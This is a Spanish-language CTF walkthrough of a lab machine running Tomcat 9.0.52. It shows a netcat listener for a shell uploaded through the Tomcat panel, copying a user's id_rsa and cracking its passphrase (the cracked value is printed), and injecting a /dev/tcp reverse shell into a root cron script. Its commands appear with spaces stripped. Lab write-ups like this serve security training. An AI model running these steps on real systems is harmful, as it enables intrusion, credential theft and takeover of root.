Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 03:43 EDT
Nmap scan report for 192.168.195.141
Host is up (0.00043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:19:ab:91:72:a5:71:d8:6d:75:1d:8f:65:df:e1:32 (RSA)
| 256 90:6e:a0:ee:d5:29:6c:b9:7b:05:db:c6:82:5c:19:bf (ECDSA)
|_ 256 54:4d:7b:e8:f9:7f:21:34:3e:ed:0f:d9:fe:93:bf:00 (ED25519)
8080/tcp open http Apache Tomcat 9.0.52
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.52
MAC Address: 00:0C:29:0A:DB:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.43 ms 192.168.195.141
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.59 seconds
Una vez creado este archivo lo subimos desde el panel del tomcat y lo ejecutamos entrando dentro del mismo estando a la escucha...
nc-lvnp<PORT>
Hecho esto estariamos dentro con una shell rara, por lo que la sanitizamos...
/bin/bash
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xterm# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Si nos vamos a /home/ vemos una carpeta llamada thales dentro de ella encontramos un .ssh/ por lo que nos copiamos el id_rsa privado a nuestro host por lo que haremos lo siguiente...
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vodka06 (id_rsa)
1g 0:00:00:03 DONE (2024-05-21 05:55) 0.2770g/s 792195p/s 792195c/s 792195C/s vodka1420..vodka0260
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Si vemos los logs de los crontabs que se estan ejecutando, veremos que hay un crontab ejecutandose cada x tiempo el .sh, por lo que haremos lo siguiente...
grepCRON/var/log/syslog
May 22 09:45:01 miletus CRON[3139]: (root) CMD (bash /usr/local/bin/backup.sh)
Añadimos al backup.sh una Reverse Shell...
#Dentro del backup.shsh-i>&/dev/tcp/<IP>/<PORT>0>&1
nc-lvnp<PORT>
Y hay que esperar un rato hasta que lo ejecute el servidor, una vez se ejecute seriamos root...